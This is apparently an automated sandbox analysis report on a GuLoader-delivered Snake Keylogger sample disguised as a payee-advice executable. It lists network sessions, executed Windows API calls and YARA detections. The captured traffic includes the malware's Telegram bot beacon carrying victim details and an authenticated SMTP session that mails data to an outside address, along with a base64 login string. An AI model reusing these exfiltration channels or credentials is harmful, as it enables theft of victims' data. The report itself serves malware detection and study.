2024-11-20 09:25:40 UTC	844	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:40 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 58649 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bjhcJiKlXZUeXMmm49J5p1xedh7RorcOS1NNX8Rj2hfeKwD9Rf4g6KjOBsORFBHRuYG9iEnjpygiDB2V604RemvjZ6Zy8BYCrRUMfHpxrKUoMTUHsKcMROqKcofrmqlf2JCQYvqP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5764e04beec3f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1498&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1856325&cwnd=160&unsent_bytes=0&cid=7ce55a6691a76423&ts=130&x=0"
2024-11-20 09:25:40 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	188.114.96.3	443	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:25:41 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 09:25:42 UTC	850	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:41 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 58650 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D%2BfKppk4SqF3HY1r4dsLML9uJQ7R1TrLN5G84WaLgaVjJ3b%2BVlfCbVnWAoDDcGjvwNsEPx0TPbDLHwHrBix4eQTaC%2FhqkVx5NmnybJBDxeKe3rm59r9dwdWSDUJO3uaVEJE4cuPz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5764e92e15431c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1819314&cwnd=231&unsent_bytes=0&cid=4b61d984c6e2f52c&ts=146&x=0"
2024-11-20 09:25:42 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	188.114.96.3	443	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:25:43 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 09:25:43 UTC	848	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:43 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 58652 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nJNqNQRyuF34xK7wQlEK2%2FGXt9eoAqWYxYLngpQaf511gdXPSZNQBabREYVcgBX4hO2rlbRWbRg1BjCEcCc26SBJTlgwAmMEt5btvrlCUaLtz7Kg9Y5J5Z0Xo5SuCJJF%2BxqD5t6Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5764f43ec8c470-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1489&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=698&delivery_rate=1885087&cwnd=228&unsent_bytes=0&cid=6c382cc738dadb39&ts=155&x=0"
2024-11-20 09:25:43 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	188.114.96.3	443	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:25:45 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 09:25:45 UTC	854	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:45 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 58654 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h6MU%2F7uFeNPsnWz9mcns2WLVv31dlgmWh4S%2FqLTmR%2FeEdQXs1RvFANxN4PrDN6arAmKg0WMtTAhCg6CvJNtjVTOP3OmEQnBk8zcEBxV4yCpbWsR%2Bsf%2BlXVZngOFoWSmyurdfq9c7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5764fd0caa43b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1589&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1691772&cwnd=225&unsent_bytes=0&cid=42fc9b188a123a9d&ts=182&x=0"
2024-11-20 09:25:45 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49752	188.114.96.3	443	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:25:46 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 09:25:46 UTC	848	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:46 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 58655 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xJAj0vK9hCiDzbl04Cc0BEq4CxPxNV9IRLh0FlOY%2FdAsH1J0L8kSJT7mwY0lzmzfv46eoiQqLUaZwOP3tWDVMOZPz60LgyzNHEVS1%2B6XYsQQF8ourWCWk7rWA9W4k3DgG3V00SAz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5765073d124255-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1704&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1653454&cwnd=219&unsent_bytes=0&cid=3411ef66a8b7689f&ts=134&x=0"
2024-11-20 09:25:46 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49754	188.114.96.3	443	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:25:48 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 09:25:48 UTC	850	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:25:48 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 58657 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=03qs5Wn5tAS7tRe61RnZVq3rB0u%2BLgW4ZnoJ4PAeGapKpYxvy4Opp0Zn2wO3Wwo%2B4Exr1u71Hc2bE28LTwCaX6BfKao4v6viY25DKq0fwP03uiEzP9K%2FyFxA5yx6IUekLf6O61w1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5765105b3d4286-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1659&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1723730&cwnd=232&unsent_bytes=0&cid=a0e224adc513c6f0&ts=160&x=0"
2024-11-20 09:25:48 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49755	149.154.167.220	443	6104	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:25:48 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20and%20Time:%2020/11/2024%20/%2019:18:12%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841675%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-20 09:25:49 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Nov 2024 09:25:49 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-20 09:25:49 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 20, 2024 10:25:56.968262911 CET	587	49756	37.27.123.72	192.168.2.4	220-server42.hndservers.net ESMTP Exim 4.98 #2 Wed, 20 Nov 2024 14:25:56 +0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 20, 2024 10:25:56.968472004 CET	49756	587	192.168.2.4	37.27.123.72	EHLO 841675
Nov 20, 2024 10:25:57.183648109 CET	587	49756	37.27.123.72	192.168.2.4	250-server42.hndservers.net Hello 841675 [8.46.123.75] 250-SIZE 104857600 250-LIMITS MAILMAX=1000 RCPTMAX=50000 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Nov 20, 2024 10:25:57.185065985 CET	49756	587	192.168.2.4	37.27.123.72	AUTH login d2FqYWhhdEBmb29kZXguY29tLnBr
Nov 20, 2024 10:25:57.390213966 CET	587	49756	37.27.123.72	192.168.2.4	334 UGFzc3dvcmQ6
Nov 20, 2024 10:25:57.646470070 CET	587	49756	37.27.123.72	192.168.2.4	235 Authentication succeeded
Nov 20, 2024 10:25:57.646760941 CET	49756	587	192.168.2.4	37.27.123.72	MAIL FROM:<wajahat@foodex.com.pk>
Nov 20, 2024 10:25:57.852899075 CET	587	49756	37.27.123.72	192.168.2.4	250 OK
Nov 20, 2024 10:25:57.853127956 CET	49756	587	192.168.2.4	37.27.123.72	RCPT TO:<millions1000@proton.me>
Nov 20, 2024 10:25:58.073290110 CET	587	49756	37.27.123.72	192.168.2.4	250 Accepted
Nov 20, 2024 10:25:58.075092077 CET	49756	587	192.168.2.4	37.27.123.72	DATA
Nov 20, 2024 10:25:58.279814005 CET	587	49756	37.27.123.72	192.168.2.4	354 Enter message, ending with "." on a line by itself
Nov 20, 2024 10:25:58.280673027 CET	49756	587	192.168.2.4	37.27.123.72	.
Nov 20, 2024 10:25:58.944524050 CET	587	49756	37.27.123.72	192.168.2.4	250 OK id=1tDgyE-0000000B2kJ-0kfU
Nov 20, 2024 10:27:35.430555105 CET	49756	587	192.168.2.4	37.27.123.72	QUIT
Nov 20, 2024 10:27:35.838831902 CET	587	49756	37.27.123.72	192.168.2.4	221 server42.hndservers.net closing connection

Target ID:	0
Start time:	04:25:05
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"
Imagebase:	0x400000
File size:	582'048 bytes
MD5 hash:	62134CC34C58682721CB5BD2A9BA3624
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_3, Description: Yara detected GuLoader, Source: 00000000.00000002.1875584401.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1876669136.000000000439B000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:25:22
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"
Imagebase:	0x400000
File size:	582'048 bytes
MD5 hash:	62134CC34C58682721CB5BD2A9BA3624
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.1%
Total number of Nodes:	1551
Total number of Limit Nodes:	38

Executed Functions

Function 0040336C Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0040338F
GetVersion.KERNEL32 ref: 00403395
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033C8
#17.COMCTL32(?,00000006,?,0000000A), ref: 00403405
OleInitialize.OLE32(00000000), ref: 0040340C
SHGetFileInfoW.SHELL32(0079FEE0,00000000,?,000002B4,00000000), ref: 00403428
GetCommandLineW.KERNEL32(007A7A20,NSIS Error,?,00000006,?,0000000A), ref: 0040343D
CharNextW.USER32(00000000,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",?,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00000000,?,00000006,?,0000000A), ref: 00403475

Part of subcall function 00406671: GetModuleHandleA.KERNEL32(?,?,?,004033DE,0000000A), ref: 00406683
Part of subcall function 00406671: GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,?,0000000A), ref: 004035AF
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,?,0000000A), ref: 004035C0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,?,0000000A), ref: 004035CC
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,?,0000000A), ref: 004035E0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,?,0000000A), ref: 004035E8
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,?,0000000A), ref: 004035F9
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,?,0000000A), ref: 00403601
DeleteFileW.KERNELBASE(1033,?,00000006,?,0000000A), ref: 00403615

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,?,0000000A), ref: 004062A4

OleUninitialize.OLE32(00000006,?,00000006,?,0000000A), ref: 004036E0
ExitProcess.KERNEL32 ref: 00403701
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00000000,00000006,?,00000006,?,0000000A), ref: 00403714
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00000000,00000006,?,00000006,?,0000000A), ref: 00403723
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00000000,00000006,?,00000006,?,0000000A), ref: 0040372E
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",00000000,00000006,?,00000006,?,0000000A), ref: 0040373A
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,?,0000000A), ref: 00403756
DeleteFileW.KERNEL32(0079F6E0,0079F6E0,?,007A9000,?,?,00000006,?,0000000A), ref: 004037B0
CopyFileW.KERNEL32(C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,0079F6E0,00000001,?,00000006,?,0000000A), ref: 004037C4
CloseHandle.KERNEL32(00000000,0079F6E0,0079F6E0,?,0079F6E0,00000000,?,00000006,?,0000000A), ref: 004037F1
GetCurrentProcess.KERNEL32(?,0000000A,00000006,?,0000000A), ref: 00403820
OpenProcessToken.ADVAPI32(00000000), ref: 00403827
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040383C
AdjustTokenPrivileges.ADVAPI32 ref: 0040385F
ExitWindowsEx.USER32(00000002,80040002), ref: 00403884
ExitProcess.KERNEL32 ref: 004038A7

Strings

"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe", xrefs: 00403443, 00403449, 0040363D
Low, xrefs: 004035E2
~nsu, xrefs: 0040370C
Error launching installer, xrefs: 00403697
C:\Users\user\AppData\Local\Temp\, xrefs: 004035A4, 004035A9, 004035BF, 004035CB, 004035DA, 004035E7, 004035F3, 004035FB, 00403711, 00403722, 0040372D, 00403739, 00403746, 00403755, 00403806
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket, xrefs: 004036BD
UXTHEME, xrefs: 004033BC, 004033C1, 004033C7
C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe, xrefs: 004037BF
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 00403592, 004036B2, 0040375C, 00403766
TEMP, xrefs: 004035F4
1033, xrefs: 00403610
.tmp, xrefs: 00403728
SeShutdownPrivilege, xrefs: 00403836
TMP, xrefs: 004035FC
\Temp, xrefs: 004035C6
C:\Users\user\Desktop, xrefs: 00403733, 00403738, 00403765
NSIS Error, xrefs: 0040342E

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
